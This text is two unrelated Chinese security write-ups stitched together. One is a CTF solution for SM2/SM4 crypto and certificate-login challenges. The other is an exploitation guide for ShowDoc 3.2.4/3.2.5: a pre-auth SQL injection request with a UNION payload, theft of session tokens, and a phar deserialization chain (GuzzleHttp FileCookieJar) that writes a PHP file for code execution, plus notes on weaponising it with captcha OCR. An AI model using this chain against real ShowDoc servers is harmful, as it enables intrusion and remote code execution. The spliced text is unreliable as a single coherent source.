r1, s1 服务器接收到数据后,进行协同签名,并发送以下数据返回: s2, s3, r我们需要计算出服务器的私钥d2,d2就是flag2的值而.c文件则是告诉我们协同签名流程,这些数据主要有以下一些关系(运算均在模n下,n是曲线阶): 使用SM2的标准曲线,参数及生成元G均已知,服务器私钥为d2,并有以下P点坐标: 使用用户发送来的p1x, p1y, q1x, q1y这几个数据设置点P1、Q1使用用户发送来的e、r1、s1计算u1、u2:计算中间点T(x’,y’),验证r1=x’: 生成随机数k2、k3,并计算: 计算r: 计算s2、s3: 返回r、s2、s3整个步骤就是看注释一步步梳理出来的,我们的目的是算出d2来,而s2、s3中一共有三个变量d2、k2、k3,并不足以求出所有未知数,所以可能需要利用r再构造一个等式才行。 然而这个题藏了个相当阴的地方,仔细观察可以发现一行代码: BN_copy(k3, k2)这也就是说k3=k2,因此未知数实际上就只有两个,所以很轻松就可以拿到d2了XD。 exp: from Crypto.Util.number import * a = int("FFFFFFFEFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF00000000FFFFFFFFFFFFFFFC", 16) b = int("28E9FA9E9D9F5E344D5A9E4BCF6509A7F39789F515AB8F92DDBCBD414D940E93", 16) p = int("FFFFFFFEFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF00000000FFFFFFFFFFFFFFFF", 16) n = int("FFFFFFFEFFFFFFFFFFFFFFFFFFFFFFFF7203DF6B21C6052B53BBF40939D54123", 16) x = int("32C4AE2C1F1981195F9904466A39C9948FE30BBFF2660BE1715A4589334C74C7", 16) y = int("BC3736A2F4F6779C59BDCEE36B692153D0A9877CC62A474002DF32E52139F0A0", 16) E = EllipticCurve(Zmod(p),[a,b]) G = E(x,y) ################################################################################# res e = "ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff" p1x = "3e8eda67c5f1b70ac1950f615c2c4e0b0fe2544823ac96cb127ba318d96b4f5" p1y = "ab1bbde72e7d1ef42e0c9d18d44a10e7250a0dfea98194f2d8d591b355fc636" q1x = "bc44ec67a42c1613d9cf99f7bd2d1d859ab94823ba6cfb1836e8083e23bbd41e" q1y = "faef1f853c095d6de79ba9ad9a2026d742042116b38b1c672ae67c7c7e9e762d" r1 = "bc44ec67a42c1613d9cf99f7bd2d1d859ab94823ba6cfb1836e8083e23bbd41e" s1 = "6c1bfef8bacf4f9c8bc4703c66458715475e50d17ba84f666372b4f4c364e16f" r = "C987C22813DD2D0537433FF583C84B047E0313DCA072E187ACBB5A638D4E2BC0" s2 = "E1E08110628EEB528DC26AA117AFEF8613B1D22EBFD77A9F42524CEFEB57F676" s3 = "758CBCCFADFB5078DB26DF382A179C9AFDE1D0617D92EC5496F67380162235B6" tt = [e,p1x,p1y,q1x,q1y,r1,s1,r,s2,s3] e,p1x,p1y,q1x,q1y,r1,s1,r,s2,s3 = [int(i,16) for i in tt] P1 = E(p1x,p1y) Q1 = E(q1x,q1y) u1 = e * inverse(s1, n) % n u2 = r1 * inverse(s1, n) % n T = u1*G + u2*P1 x_, y_ = T.xy() assert r1 == x_ x1 = r - e d2 = (s3-s2)*inverse(r,n) % n print(hex(d2)) #flag2{a61bdbacbad62b141284a6955b14a27df01c09984e23785ec75b5e5c79e18f62} flag3(500 pts)题目: login.go: package controllers import ( "crypto/ecdsa" "encoding/hex" "encoding/pem" "fmt" jwtgo "github.com/dgrijalva/jwt-go" "github.com/gin-gonic/gin" "github.com/tjfoc/gmsm/sm2" "github.com/tjfoc/gmsm/x509" "http_svr/config" "http_svr/models" "http_svr/utils" "math/big" "net/http" "time" ) // 加载证书 func loadCertificate(certPEM string) (*x509.Certificate, error) { //certPEM := "-----BEGIN CERTIFICATE-----\nMIIBQDCB6KADAgECAgECMAoGCCqBHM9VAYN1MBIxEDAOBgNVBAoTB1Jvb3QgQ0Ew\nHhcNMjQwNzI0MDkyMTI5WhcNMjUwNzI0MDkyMTI5WjAaMRgwFgYDVQQKEw9NeSBP\ncmdhbml6YXRpb24wWTATBgcqhkjOPQIBBggqgRzPVQGCLQNCAASlPepwTvt5c4rF\nEsg1Mqs+Tyx/BwRkwyWqDyZd/gBFKp7veuoZnGK11c24xPOqR/eQZNW7ugsZW6eb\nLyXSsE9ooycwJTAOBgNVHQ8BAf8EBAMCBaAwEwYDVR0lBAwwCgYIKwYBBQUHAwEw\nCgYIKoEcz1UBg3UDRwAwRAIgG4/snkgUCW819OotUWUfMOo0BzHX8KeTTUSLpIjy\nEO4CIEq6X7h3nVNeFzdtLWdy5+1MeNwsWawHU5YzITsNtqOe\n-----END CERTIFICATE-----\n" block, _ := pem.Decode([]byte(certPEM)) if block == nil || block.Type != "CERTIFICATE" { return nil, fmt.Errorf("无效的证书格式") } return x509.ParseCertificate(block.Bytes) } // 验证证书 func validateCertificate(cert *x509.Certificate, rootCert *x509.Certificate) error { // 检查颁发者 if cert.Issuer.CommonName != rootCert.Subject.CommonName { return fmt.Errorf("证书校验失败") } // 检查颁发者组织 if len(cert.Issuer.Organization) != 1 || cert.Issuer.Organization[0] != rootCert.Subject.Organization[0] { return fmt.Errorf("证书校验失败") } // 检查颁发者国家 if len(cert.Issuer.Country) != 1 || cert.Issuer.Country[0] != rootCert.Subject.Country[0] { return fmt.Errorf("证书校验失败") } // 检查有效日期 if time.Now().Before(cert.NotBefore) || time.Now().After(cert.NotAfter) { return fmt.Errorf("证书校验失败") } // 检查组织 if len(cert.Subject.Organization) != 1 || cert.Subject.Organization[0] != "ShangMiBei" { return fmt.Errorf("证书校验失败") } // 检查组织单元 if len(cert.Subject.OrganizationalUnit) != 1 || cert.Subject.OrganizationalUnit[0] != "ShangMiBei2024" { return fmt.Errorf("证书校验失败") } // 检查国家 if len(cert.Subject.Country) != 1 || cert.Subject.Country[0] != "CN" { return fmt.Errorf("证书校验失败") } // 创建证书链 roots := x509.NewCertPool() roots.AddCert(rootCert) opts := x509.VerifyOptions{ Roots: roots, CurrentTime: time.Now(), } // 验证证书链 if _, err := cert.Verify(opts); err != nil { return fmt.Errorf("证书链校验失败: %v", err) } return nil } type SM2Signature struct { R, S *big.Int } // 验证签名 func validateSignature(message, signature string, publicKey *sm2.PublicKey) (bool, error) { //rawSignatureHex, err := base64.StdEncoding.DecodeString(base64EncodedSignature) hexSignature, err := hex.DecodeString(signature) if err != nil { return false, fmt.Errorf("invalid signature format") } isValid := publicKey.Verify([]byte(message), hexSignature) if isValid { return true, nil } else { return false, fmt.Errorf("signature is invalid") } } // Login 登录 func Login(c *gin.Context, conf config.Config) { // 解析请求参数 var req models.LoginReq if err := c.ShouldBind(&req); err != nil { c.JSON(http.StatusBadRequest, gin.H{"error": err.Error()}) return } // 校验用户名是否已注册过 if _, exists := models.Users[req.Username]; !exists { c.JSON(http.StatusBadRequest, gin.H{"error": "username not exists"}) return } // 校验随机字符串是否过期 randomStr, exists := conf.Cache.Get(req.Username) if !exists { c.JSON(http.StatusBadRequest, gin.H{"error": "random string has expired"}) return } // 校验证书 cert, err := loadCertificate(req.Cert) if err != nil { c.JSON(http.StatusBadRequest, gin.H{"error": err.Error()}) return } if err := validateCertificate(cert, models.RootCert); err != nil { c.JSON(http.StatusBadRequest, gin.H{"error": err.Error()}) return } // 判断是否挑战成功(随机字符串的签名能否用证书中的公钥验签过) ecdsaPubKey, ok := cert.PublicKey.(*ecdsa.PublicKey) if !ok { c.JSON(http.StatusBadRequest, gin.H{"error": "public key in cert is not sm2"}) return } sm2PubKey := sm2.PublicKey{ Curve: ecdsaPubKey.Curve, X: ecdsaPubKey.X, Y: ecdsaPubKey.Y, } isValid, err := validateSignature(randomStr.(string), req.Signature, &sm2PubKey) if isValid { //c.JSON(http.StatusOK, gin.H{"msg": "success", "flag3": config.Flag3, "download_url": config.DownloadUrl}) generateToken2(c, req.Username, conf) } else { c.JSON(http.StatusBadRequest, gin.H{"error": err.Error()}) } } // 生成令牌 func generateToken2(c *gin.Context, username string, conf config.Config) { j := &utils.JWT{ SigningKey: []byte(conf.SignKey), } claims := utils.CustomClaims{ Name: username, StandardClaims: jwtgo.StandardClaims{ NotBefore: time.Now().Unix() - conf.NotBeforeTime, // 签名生效时间 ExpiresAt: time.Now().Unix() + conf.ExpiresTime, // 过期时间 Issuer: conf.Issuer, // 签名的发行者 }, } token, err := j.CreateToken(claims) if err != nil { c.JSON(http.StatusOK, gin.H{ "code": 5091, "msg": "登录失败,系统有误", }) return } // 将当前用户对应的缓存中的随机字符串删除 conf.Cache.Delete(username) isAdmin := false if username == "shangmibeiadmin" { isAdmin = true } c.JSON(http.StatusOK, gin.H{ "code": 0, "msg": "登录成功", "token": token, "is_admin": isAdmin, }) return }数据库管理系统管理员证书.cer: -----BEGIN CERTIFICATE----- MIICXjCCAgWgAwIBAgIIatKGfgnOvYYwCgYIKoEcz1UBg3UwNjELMAkGA1UEBhMC Q04xEzARBgNVBAoTClNoYW5nTWlCZWkxEjAQBgNVBAMTCVNoYW5nTWlDQTAeFw0y NDA4MDUwNzUyMTdaFw0yNTEwMTAxMjAxMDFaMFUxEzARBgNVBAoTClNoYW5nTWlC ZWkxFzAVBgNVBAsTDlNoYW5nTWlCZWkyMDI0MRgwFgYDVQQDEw9zaGFuZ21pYmVp YWRtaW4xCzAJBgNVBAYTAkNOMFkwEwYHKoZIzj0CAQYIKoEcz1UBgi0DQgAEiHG2 LM9gsuJXiyo+0yDDZEVP1+3Qh+47g65eMeoUXoi0eUiGPvhehh4RaWacpVrQKJXQ qzCqkR4n1B+7ZymwXqOB3TCB2jAOBgNVHQ8BAf8EBAMCA4gwHQYDVR0lBBYwFAYI KwYBBQUHAwIGCCsGAQUFBwMBMA8GA1UdDgQIBAYBAgMEBQYwDwYDVR0jBAgwBoAE AQIDBDAuBgNVHREEJzAlgQtnaXRAZ2l0LmNvbYcEfwAAAYcQIAFIYAAAIAEAAAAA AAAAaDBXBgNVHR8EUDBOMCWgI6Ahhh9odHRwOi8vY3JsMS5leGFtcGxlLmNvbS9j YTEuY3JsMCWgI6Ahhh9odHRwOi8vY3JsMi5leGFtcGxlLmNvbS9jYTEuY3JsMAoG CCqBHM9VAYN1A0cAMEQCIEU8qEYGqgRTJPGI8YLRrpR7x3M2HzZOt377PwsnivGW AiA67pgq6qfrhKsWc/B2VUqi2t+ZlK+iAM6D+Ai7NoqYSw== -----END CERTIFICATE----题目连接上之后有一个简易的网站,由于复现不了所以只能大致描述一下它的功能: 有一个登录界面,可以输入用户名、私钥以及公钥文件,如果能通过login.go中的所有check就能成功登录还有一个注册界面,可以输入用户名和裸公钥,如果裸公钥格式正确,服务器就会用根证书发放一个完整公钥文件给你我们的目标是用“shangmibeiadmin”成功登录,就可以拿到flag3的值以及flag4的源码。 已知的这个证书文件是个公钥文件,查看一下发现这个证书的用户就是“shangmibeiadmin”,所以如果我们能知道他的私钥的话就可以直接登录了。结合这个题只有500分这个事实,我第一反应是私钥相当小,可以直接爆出来,但是用mitm爆了2^50无果,所以只能从其他部分入手。 用gmssl这个工具可以比较轻松的生成一对公私钥证书,我们只需要把公钥里的裸公钥拆出来,然后自己随便生成个用户名就可以注册一个用户,并得到服务器颁发的公钥证书。 这里需要注意一下不能直接注册“shangmibeiadmin”,它会显示已注册 然后查看login.go可以发现他似乎根本没检验证书持有者是不是和用户名一样,所以按理来说接下来的步骤很简单,我们只需要在用户名一栏输入“shangmibeiadmin”,然后输入刚才我们生成的公私钥证书中的私钥,再输入刚才服务器下发的证书就可以成功登录。 然而我们实在是不熟悉gmssl乃至openssl这些工具,并且不出网,不能自由查找怎么使用,所以只能一直用help来看有什么参数可以用。我们遇到的最大问题是:gmssl必须要一个密码,才能生成sm2私钥文件,而这个私钥文件是用这个密码加密过的,但是我们怎么找都找不到怎么解密这个私钥文件并解析他。 这里花了很长很长时间,最后离比赛结束不到一小时的时候想了一个笨办法出来——直接去源码c文件里面加几行打印私钥d的文件,并重新编译一下再用这个工具: 这个方法很笨但是确实有效,由于脑子有点混乱,也想不太清楚d具体该怎么拼,就用从前往后和从后往前两种顺序得到两个d,并用是否满足P=dG这个式子来进行核验,最后好歹是把自己生成的私钥d搞出来了: from Crypto.Util.number import * from tqdm import * a = int("FFFFFFFEFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF00000000FFFFFFFFFFFFFFFC", 16) b = int("28E9FA9E9D9F5E344D5A9E4BCF6509A7F39789F515AB8F92DDBCBD414D940E93", 16) p = int("FFFFFFFEFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF00000000FFFFFFFFFFFFFFFF", 16) n = int("FFFFFFFEFFFFFFFFFFFFFFFFFFFFFFFF7203DF6B21C6052B53BBF40939D54123", 16) x = int("32C4AE2C1F1981195F9904466A39C9948FE30BBFF2660BE1715A4589334C74C7", 16) y = int("BC3736A2F4F6779C59BDCEE36B692153D0A9877CC62A474002DF32E52139F0A0", 16) E = EllipticCurve(Zmod(p),[a,b]) G = E(x,y) t = "3059301306072a8648ce3d020106082a811ccf5501822d03420004ed7a7dce0e4e2e4b779f76b4ec407b8987ba5c3beba5cd454604e587fce0a17160b29510b2beb36e36470fba3ed6bd436049a0b588e931c71df6cf0b0d0e6407" x1 = int(t[-128:-64], 16) y1 = int(t[-64:], 16) P = E(x1,y1) dd = [12437958772606967559,9879664919779981675,172814172046494727,15816591967453487196] d = (dd[3] << (64*3)) + (dd[2] << (64*2)) + (dd[1] << (64*1)) + (dd[0] << (64*0)) print(d) print(hex(d)) print(d*G == P)之后按刚才的方式就可以登录上网站拿到flag3以及flag4的源码。 flag4(1000 pts)题目: SM4加密解密代码.py: from gmssl.sm4 import CryptSM4, SM4_ENCRYPT, SM4_DECRYPT MULTIPLIER = 6364136223846793005 ADDEND = 1 MASK = 0xffffffffffffffff ITERATIONS = 1000 # 从文件中读取seed def read_seed(file_path): with open(file_path, 'r') as file: seed = int(file.read().strip(), 16) print("seed:", hex(seed)) return seed global_seed = read_seed('seed.txt') def genRandom(): global global_seed # print("global_seed", hex(global_seed)) for _ in range(ITERATIONS): global_seed = (global_seed * MULTIPLIER + ADDEND) & MASK return (global_seed >> 32) & 0xffffffff # 16进制字符串转bytes def HexStringToBytes(hex_str): return bytes.fromhex(hex_str) # bytes转16进制字符串 def BytesToHexString(byte_seq): return byte_seq.hex() def genSM4KeyOrIV(): return HexStringToBytes(''.join(f'{genRandom():08x}' for _ in range(4))) def SM4Encrypt(data_bytes, key_bytes, iv_bytes): sm4 = CryptSM4() sm4.set_key(key_bytes, SM4_ENCRYPT) return sm4.crypt_cbc(iv_bytes, data_bytes) def SM4Decrypt(cipher_bytes, key_bytes, iv_bytes): sm4 = CryptSM4() sm4.set_key(key_bytes, SM4_DECRYPT) return sm4.crypt_cbc(iv_bytes, cipher_bytes) print("############ SM4 Cryptographic Services Start... ###################") iv_bytes = genSM4KeyOrIV() print("iv hex:", BytesToHexString(iv_bytes)) key_bytes = genSM4KeyOrIV() print("key hex:", BytesToHexString(key_bytes)) # 从test.pcapng读取数据并加密 with open('test.pcapng', 'rb') as f1: plain1_bytes = f1.read() cipher1_bytes = SM4Encrypt(plain1_bytes,key_bytes,iv_bytes) # 写密文数据到cipherText.dat with open('cipherText.dat', 'wb') as f2: f2.write(cipher1_bytes) # 从cipherText.dat读密文数据 with open('cipherText.dat', 'rb') as f3: cipher2_bytes = f3.read() plain2_bytes = SM4Decrypt(cipher2_bytes,key_bytes,iv_bytes) # 解密密文并将明文写入到plainText.pcapng(含flag4) with open('plainText.pcapng', 'wb') as f4: f4.write(plain2_bytes)总经理协同签名流量包加密使用的iv.txt: 90fc5cf2e2f47488a257fd51e0ae615终于是一个python加密了,倍感亲切。题目主要流程是: 读取seed.txt文件得到初始seed用genSM4KeyOrIV函数连续生成16字节的iv和key读取一个流量包文件,并用iv、key对流量包文件进行SM4加密给出密文文件以及iv,要求还原流量包有古怪的地方只可能在genSM4KeyOrIV函数里,查看一下发现其是连续调用四次genRandom函数并拼接而成,而genRandom函数是: def genRandom(): global global_seed # print("global_seed", hex(global_seed)) for _ in range(ITERATIONS): global_seed = (global_seed * MULTIPLIER + ADDEND) & MASK return (global_seed >> 32) & 0xffffffff可以看出这是一个LCG过程,其会返回seed迭代一千次之后的高32位。 我们知道IV,也就是我们知道连续四次迭代一千次之后的seed高位,这就变成了一个简单的HNP问题。由于LCG迭代过程可以写为如下矩阵乘法: 所以一千次迭代也就是: 对于题目来说是已知高32位,那么以IV的第一个分组和第二个分组为例,式子就可以写成: 所以对IV所有连续的两组用第一行对应的线性等式,就可以把问题转化成规约低32位的HNP问题了,得到所有低位之后就可以向后迭代得到key,从而恢复流量包。 exp: get xl: c = "90fc5cf2e2f47488a257fd51e0ae615b" MULTIPLIER = 6364136223846793005 ADDEND = 1 MASK = 0xffffffffffffffff + 1 ITERATIONS = 1000 t1,t2,t3,t4 = c[:8],c[8:16],c[16:24],c[24:32] res = [t1,t2,t3,t4] t = [int(i,16) for i in res] ################################################## M = Matrix(Zmod(MASK),[ [MULTIPLIER,1], [0,1] ]) Mn = M^ITERATIONS a,b = Mn[0] a,b = int(a),int(b) nums = 4 L = Matrix(ZZ,2*nums,2*nums) for i in range(nums+1): L[i,i] = 1 for i in range(nums-1): L[i,nums+i+1] = a L[i+1,nums+i+1] = -1 c = a*2^32*t[i] - 2^32*t[i+1] + b L[nums,nums+i+1] = c L[nums,nums] = 2^32 for i in range(nums-1): L[-i-1,-i-1] = MASK L[:,-(nums-1):] *= MASK res = L.LLL()[0][:4] print(res)decrypt: from gmssl.sm4 import CryptSM4, SM4_ENCRYPT, SM4_DECRYPT MULTIPLIER = 6364136223846793005 ADDEND = 1 MASK = 0xffffffffffffffff ITERATIONS = 1000 global_seed = 0 # TODO iv_high = 0xe0ae615b iv_low = 187714221 iv_last = (iv_high << 32) + iv_low global_seed = iv_last def genRandom(): global global_seed # print("global_seed", hex(global_seed)) for _ in range(ITERATIONS): global_seed = (global_seed * MULTIPLIER + ADDEND) & MASK return (global_seed >> 32) & 0xffffffff # 16进制字符串转bytes def HexStringToBytes(hex_str): return bytes.fromhex(hex_str) # bytes转16进制字符串 def BytesToHexString(byte_seq): return byte_seq.hex() def genSM4KeyOrIV(): return HexStringToBytes(''.join(f'{genRandom():08x}' for _ in range(4))) def SM4Encrypt(data_bytes, key_bytes, iv_bytes): sm4 = CryptSM4() sm4.set_key(key_bytes, SM4_ENCRYPT) return sm4.crypt_cbc(iv_bytes, data_bytes) def SM4Decrypt(cipher_bytes, key_bytes, iv_bytes): sm4 = CryptSM4() sm4.set_key(key_bytes, SM4_DECRYPT) return sm4.crypt_cbc(iv_bytes, cipher_bytes) iv_bytes = HexStringToBytes("90fc5cf2e2f47488a257fd51e0ae615b") key_bytes = genSM4KeyOrIV() print(key_bytes) with open("总经理协同签名流量包(加密后的文件).dat", "rb") as fp: cipher_bytes = fp.read() plain_bytes = SM4Decrypt(cipher_bytes, key_bytes, iv_bytes) with open("plainText.pcapng", "wb") as fp: fp.write(plain_bytes)然后就可以在流量包里找到flag4。 最终挑战 *在比赛还是不到半分钟的时候,我们队才惊险地交上flag4,完全没有时间看最终挑战了,因此只能赛后复现一下。 flag4的流量包跟踪TCP流,可以看到里面有以下内容: 除了flag4外,剩下的数据很显然是和flag2的协同签名有关的,而相比于flag2来说,这里多给了一个client_sign字段的值,再回头看看.js文件可以发现这是clientSign2函数的返回值,其流程为: 在clientSign1的过程里会生成一个随机数k1,满足: 传入未知的用户私钥d1,以及已知的s2、s3、r计算s: 可以看出s1、s的生成等式其实分别就是关于d1、k1的两个变量的方程,所以就可以解出d1了。而我们的目的是伪造一个签名,解出d1之后走一遍协同签名的流程就好了,自然也就没有难度。 没有交互部分了,但可以用d1联系的两个点来检验d1的正确性 exp: from Crypto.Util.number import * a = int("FFFFFFFEFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF00000000FFFFFFFFFFFFFFFC", 16) b = int("28E9FA9E9D9F5E344D5A9E4BCF6509A7F39789F515AB8F92DDBCBD414D940E93", 16) p = int("FFFFFFFEFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF00000000FFFFFFFFFFFFFFFF", 16) n = int("FFFFFFFEFFFFFFFFFFFFFFFFFFFFFFFF7203DF6B21C6052B53BBF40939D54123", 16) x = int("32C4AE2C1F1981195F9904466A39C9948FE30BBFF2660BE1715A4589334C74C7", 16) y = int("BC3736A2F4F6779C59BDCEE36B692153D0A9877CC62A474002DF32E52139F0A0", 16) E = EllipticCurve(Zmod(p),[a,b]) G = E(x,y) ################################################################################# res q1x = "125fd6eb66351ca49073a6e55be1fa40cfd6662f80452a6bcea3b25bd69b6b26" q1y = "79a9748598cc2886b09fa856b9806b8789b8a719f6a969e2f08da35ea997bc5d" e = "eaf0adee014bd35a12180bbc99292e3acf895203aa97f8dbbb760da04da844f6" r1 = "125fd6eb66351ca49073a6e55be1fa40cfd6662f80452a6bcea3b25bd69b6b26" s1 = "47baaef61c7a3c4c239fc2634ec25a2059d937026c6e0b72df1463fbba5b3a05" p1x = "4c84b1cf8e9255c9385c07c2bf3426a9497d49e2b33c328ab02c4aed8b021bad" p1y = "8a3e40da9d3423f27be30eebb2e4e11999e565be0def197fe1bcf4f6b724b471" r = "8A6BB033033E79683E81FE36D6394262D451A3DB9D1A0C489D51543D22E67BC4" s2 = "B54A6668F644EC08D925552D45F66E348762B460693E7A68CBB0FDF38327DB45" s3 = "B50FAE013594F79192898FF7FC0A84D931B1EC56EF9174159023ACF1C708180D" s = "cb524f49515c9a7387210ddcdbf1f32aad1c8806f01a362c62a5d6a5466da158" tt = [e,p1x,p1y,q1x,q1y,r1,s1,r,s2,s3,s] e,p1x,p1y,q1x,q1y,r1,s1,r,s2,s3,s = [int(i,16) for i in tt] P1 = E(p1x,p1y) Q1 = E(q1x,q1y) ################################################################################# solve d1 PR.<k1,d1> = PolynomialRing(Zmod(n)) f1 = (s1*k1 - e)*d1 - r1 f2 = d1*k1*s2 + d1*s3 - r - s res = f1.sylvester_matrix(f2, k1).det().univariate_polynomial().monic().roots() d1 = int(res[1][0]) print(d1*P1 == G) 或者 from sage.all import * a = 0xFFFFFFFEFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF00000000FFFFFFFFFFFFFFFC b = 0x28E9FA9E9D9F5E344D5A9E4BCF6509A7F39789F515AB8F92DDBCBD414D940E93 p = 0xFFFFFFFEFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF00000000FFFFFFFFFFFFFFFF n = 0xFFFFFFFEFFFFFFFFFFFFFFFFFFFFFFFF7203DF6B21C6052B53BBF40939D54123 x = 0x32C4AE2C1F1981195F9904466A39C9948FE30BBFF2660BE1715A4589334C74C7 y = 0xBC3736A2F4F6779C59BDCEE36B692153D0A9877CC62A474002DF32E52139F0A0 E = EllipticCurve(GF(p), [a, b]) G = E(x, y) s = 0xcb524f49515c9a7387210ddcdbf1f32aad1c8806f01a362c62a5d6a5466da158 r = 0x8A6BB033033E79683E81FE36D6394262D451A3DB9D1A0C489D51543D22E67BC4 s2 = 0xB54A6668F644EC08D925552D45F66E348762B460693E7A68CBB0FDF38327DB45 s3 = 0xB50FAE013594F79192898FF7FC0A84D931B1EC56EF9174159023ACF1C708180D e = 0xeaf0adee014bd35a12180bbc99292e3acf895203aa97f8dbbb760da04da844f6 r1 = 0x125fd6eb66351ca49073a6e55be1fa40cfd6662f80452a6bcea3b25bd69b6b26 s1 = 0x47baaef61c7a3c4c239fc2634ec25a2059d937026c6e0b72df1463fbba5b3a05 d2 = ZZ((s3 - s2) * inverse_mod(r, n) % n) ''' s1*k1-e = d1^(-1) * r1 r1 = d1*(s1*k1-e) r1 = d1*k1 * s1 - d1*e s = d1*k1*s2 + d1*s3 -r s*s1 = d1*k1*s1 * s2 + d1*s3*s1 - r*s1 s*s1 = (r1+d1*e)*s2 + d1 * s3*s1 - r*s1 ''' R = PolynomialRing(GF(n), 'x') x = R.gens()[0] f = (r1 + x*e)*s2 + x*s3*s1 - r*s1 - s*s1 ans = f.roots() d1 = 90919127323695568397119051689582862352296983775157729258730148362152821090405 d2 = 75133153874808200698750375741973887146735262423059242244009334005845482114914 e = 0x9e810778a6b177c6aa1799365977adfbeef605c19b5ea917527d1541c1339019 k1 = 233 P = inverse_mod(d1, n) * G Q = k1*G r1 = ZZ(Q.xy()[0]) s1 = ZZ(inverse_mod(k1, n) * (e + inverse_mod(d1, n) * r1) % n) k2 = 17 k3 = 71 R = k2*G + k3*Q x1 = ZZ(R.xy()[0]) r = ZZ((e + x1) % n) s2 = ZZ(d2 * k3 % n) s3 = ZZ(d2 * (r+k2) % n) s = (d1*k1*s2 + d1*s3 - r) % n print(s) print(hex(r)[2:]) print(hex(s)[2:]) 来源: https://tangcuxiaojikuai.xyz/post/6452f9a0.html
-
標題:showdoc sqli to rce漏洞利用思考
漏洞版本sqli=3.2.5 phar 反序列化=3.2.4 漏洞分析前台sqli 補丁 https://github.com/star7th/showdoc/commit/84fc28d07c5dfc894f5fbc6e8c42efd13c976fda補丁對比發現,在server/Application/Api/Controller/ItemController.class.php中將$item_id變量從拼接的方式換成參數綁定的形式,那麼可以推斷,這個點可能存在sql注入。 在server/Application/Api/Controller/ItemController.class.php的pwd方法中,從請求中拿到item_id參數,並拼接到where條件中執行,並無鑑權,由此可判斷為前台sql注入。 但在進入sql注入點之前,會從請求中獲取captcha_id和captcha參數,該參數需要傳入驗證碼id及驗證碼進行驗證,所以,每次觸發注入之前,都需要提交一次驗證碼。 驗證碼的邏輯是根據captcha_id從Captcha表中獲取未超時的驗證碼進行比對,驗證過後,會將驗證碼設置為過期狀態。 完整拼接的sql語句 SELECT*FROMitemWHERE(item_id='1')LIMIT1 $password 和$refer_url 參數都可控,可通過聯合查詢控制password的值滿足條件返回$refer_url參數值,1') union select 1,2,3,4,5,6,7,8,9,0,11,12 --,6對應的是password字段,所以password參數傳遞6,條件成立,回顯傳入$refer_url參數,那麼就存在sql注入。 POST/server/index.php?s=/Api/Item/pwdHTTP/1.1Host:172.20.10.1Content-Length:110Cache-Control:max-age=0Upgrade-Insecure-Requests:1Origin:http://127.0.0.1Content-Type:application/x-www-form-urlencodedUser-Agent:Mozilla/5.0(WindowsNT10.0;W in64;x64)AppleWebKit/537.36(KHTML,likeGecko)Chrome/125.0.0.0Safari/537.36Accept:text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7Referer:http://127.0.0.1/server/index.php? s=/Api/Item/pwdAccept-Encoding:gzip,deflateAccept-Language:zh-CN,zh;q=0.9sec-ch-ua:'GoogleChrome';v='125','Chromium';v='125','Not.A/Brand';v='24'sec-ch-ua-mobile:0sec-ch-ua-platform:'Windows'sec-fetch-site:same-originsec-fetch-mode:n avigatesec-fetch-dest:documentcookie:PHPSESSID=1r419tk5dmut6vs4etuv656t1q;think_language=zh-CN;XDEBUG_SESSION=XDEBUG_ECLIPSEx-forwarded-for:127.0.0.1x-originating-ip:127.0.0.1x-remote-ip:127.0.0.1x-remote-addr:127.0.0.1Connection:close captcha=8856captcha_id=87item_id=1')+union+select+1,2,3,4,5,6,7,8,9,0,11,12+--password=6refer_url=aGVsbG8= sqli獲取token鑑權是通過調用server/Application/Api/Controller/BaseController.class.php的checkLogin方法來進行驗證。 未登錄時,會從請求中拿到user_token參數,再通過user_token在UserToken表中查詢,驗證是否超時,將未超時記錄的uid字段拿到User表中查詢,最後將返回的$login_user設置到Session中。 那麼只需要通過注入獲取到UserToken表中未超時的token,那麼就可以通過該token訪問後台接口。 phar反序列化rce補丁 https://github.com/star7th/showdoc/commit/805983518081660594d752573273b8fb5cbbdb30補丁將new_is_writeable方法的訪問權限從public設置為private。 在server/Application/Home/Controller/IndexController.class.php的new_is_writeable方法中。該處調用了is_dir,並且$file可控,熟悉phar反序列化的朋友都知道,is_dir函數可協議可控的情況下可觸發反序列化。 有了觸發反序列化的點,還需要找到一條利用鏈,Thinkphp環境中用到GuzzleHttp,GuzzleHttp\Cookie\FileCookieJar的__destruct方法可保存文件。 網上已經有很多分析,這裡直接給出生成phar的exp。 cookies=array(newSetCookie());}private$strictMode;}classFileCookieJarextendsCookieJar{private$filename='E:\\Tools\\Env\\phpstudy_pro\\WWW\\showdoc-3.2.4\\server\\test.php';private$storeSessionCookies=true;}classSetCookie{private$data=array('Expires'=');}}namespa ce{$phar=newPhar('phar.phar');//後綴名必須為phar$phar-startBuffering();$phar-setStub('GIF89a'.');//設置stub$o=new\GuzzleHttp\Cookie\FileCookieJar();$phar-setMetadata($o);//將⾃定義的meta-data存⼊manifest$phar-addFromString('test.txt','test');//添加要壓縮的⽂件//簽名⾃動計算$phar-stopBuffering(); }生成exp時,寫入的路徑需要指定絕對路徑,在docker中部署的默認為/var/www/html,其他則可以通過訪問時指定一個不存在的模塊報錯拿到絕對路徑。 後續利用,找到一個上傳且知道路徑的點,將生成的phar文件改成png進行上傳。 訪問返回的鏈接,可獲取上傳文件的路徑。 調用new_is_writeable方法,通過phar://訪問文件觸發反序列化。 武器化利用思考在java環境下,對該漏洞進行武器化時,考慮到兩點情況,一個是在通過sqli獲取token時,需要對驗證碼進行識別,目前網上已經有師傅移植了ddddocr。 https://github.com/BreathofWild/ddddocr-java8另一個是在使用exp生成phar文件時,需要指定寫入文件的絕對路徑以及內容,在java下沒找到可以直接生成phar文件的方法,沒法動態生成phar文件,對phar文檔格式解析,實現一個可在java環境下指定反序列化數據來生成phar文件的方法。 phar文檔格式解析通過php生成一個phar文件,用010 Editor 打開,通過官網文檔對phar格式說明,解析phar的文件。 https://www.php.net/manual/zh/phar.fileformat.ingredients.phpphar文檔分為四個部分:Stub、manifest、contents、signature Stub就是一個php文件,用於標識該文件為phar文件,該文件內容必須以來結尾,感覺類似於文件頭。 